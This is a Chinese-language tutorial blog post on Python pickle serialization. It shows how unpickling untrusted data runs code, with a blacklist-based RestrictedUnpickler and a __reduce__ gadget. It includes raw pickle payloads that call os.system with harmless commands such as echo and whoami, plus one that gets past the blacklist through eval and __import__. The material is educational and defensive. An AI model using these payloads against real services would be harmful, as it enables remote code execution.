python 序列化与反序列化

关于 python 序列化与反序列化的一些基础知识,有待补充

python 序列化与反序列化

  • python 提供两个模块来实现反序列化,即 cPicklepickle ,这两个模块功能是相同的,区别在于 cPickle 是 C 语言写的,pickle 是纯 Python 写的

  • 写一个 Person 类并生成一个 admin 的实例化对象测试

    # python 3.7.3
    class Person():
      def __init__(self, username, password):
          self.username = username
          self.password = password
    
    admin = Person('admin','admin123')
  • pickle.dumps() 方法将对象序列化为 byte 对象

    s = pickle.dumps(admin)
    # b'\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x08\x00\x00\x00usernameq\x03X\x05\x00\x00\x00adminq\x04X\x08\x00\x00\x00passwordq\x05X\x08\x00\x00\x00admin123q\x06ub.'
  • pickle.loads()byte 对象反序列化出对象,这个函数有个特性,就是对于未导入的库会尝试自动 import

    uns = pickle.loads(s)
    # <__main__.Person object at 0x00000229997E5780>
    
    dir(uns)
    # ['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__slotnames__', '__str__', '__subclasshook__', '__weakref__', 'password', 'username']
    
    uns.username
    # 'admin'
    uns.password
    # 'admin123'
  • 当一个类的实例对象被反序列化时,它的 __init__() 方法不会被调用,默认的方式是创建一个没有初始化的对象然后恢复它的属性。

RestrictedUnpickler 类优化反序列化

  • 在 pickle 文档开头有如下一句话

    Never unpickle data received from an untrusted
    or unauthenticated source.

  • 考虑如下代码,这会导致系统命令 echo 的执行

    import pickle
    
    pickle.loads(b"cos\nsystem\n(S'echo peri0d'\ntR.")
    # peri0d
    # 0
  • 文档给出的解决方案是在 Unpickler.find_class() 里面设置黑白名单检测,只能执行内置函数并且函数不在黑名单中,示例如下

    import builtins
    import io
    import pickle
    
    black_builtins = {
      'eval',
      'exec',
      'execfile',
      'compile',
      'open',
      'input',
      '__import__',
      'exit',
    }
    
    class ResRestrictedUnpickler(pickle.Unpickler):
      def find_class(self, moudle, name):
          if moudle == "builtins" and name not in black_builtins:
                # getattr 用于获取某个对象的属性值
              return getattr(builtins, name)
    
          raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (moudle, name))
    
    def restricted_loads(s):
      """Helper function analogous to pickle.loads()."""
        # BytesIO 用于在内存中读写数据,操作的对象是 byte 类型,对应了 pickle 序列化之后的类型
      return ResRestrictedUnpickler(io.BytesIO(s)).load()
  • 做个测试,print(restricted_loads(b'\x80\x03]q\x00(K\x01K\x02K\x03K\x04X\x04\x00\x00\x000x10q\x01e.'))

  • 第二个,print(restricted_loads(b"cos\nsystem\n(S'echo hello world'\ntR."))

  • 第三个, print(restricted_loads((b'cbuiltins\neval\n'b'(S\'getattr(__import__("os"), "system")'b'("echo hello world")\'\ntR.')))

python 反序列化漏洞

  • 所谓反序列化漏洞,就是在序列化的过程中,类的一些魔术方法一起被序列化,而在反序列化时,这些函数就会执行,通过构造相应的 POP 链实现不同的攻击

  • 示例如下,关键点在于 __reduce__() 方法,当对象被序列化时就会被调用,它返回一个代表全局名称的字符串或者一个元组

    import pickle
    import os
    
    class Person():
      def __init__(self, username, password):
          self.username = username
          self.password = password
    
      def __reduce__(self):
          return (os.system,('whoami',))
    
    admin = Person('admin','admin123')
    
    s = b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
    uns = pickle.loads(s)
  • 返回字符串 : 查找字符串对应名字的对象,将其序列化之后返回

  • 返回元组 : 元组中第一个参数为可调用的对象,第二个元素是该对象所需要的参数元组

python3.7 内置函数

猜你喜欢

转载自www.cnblogs.com/peri0d/p/11508908.html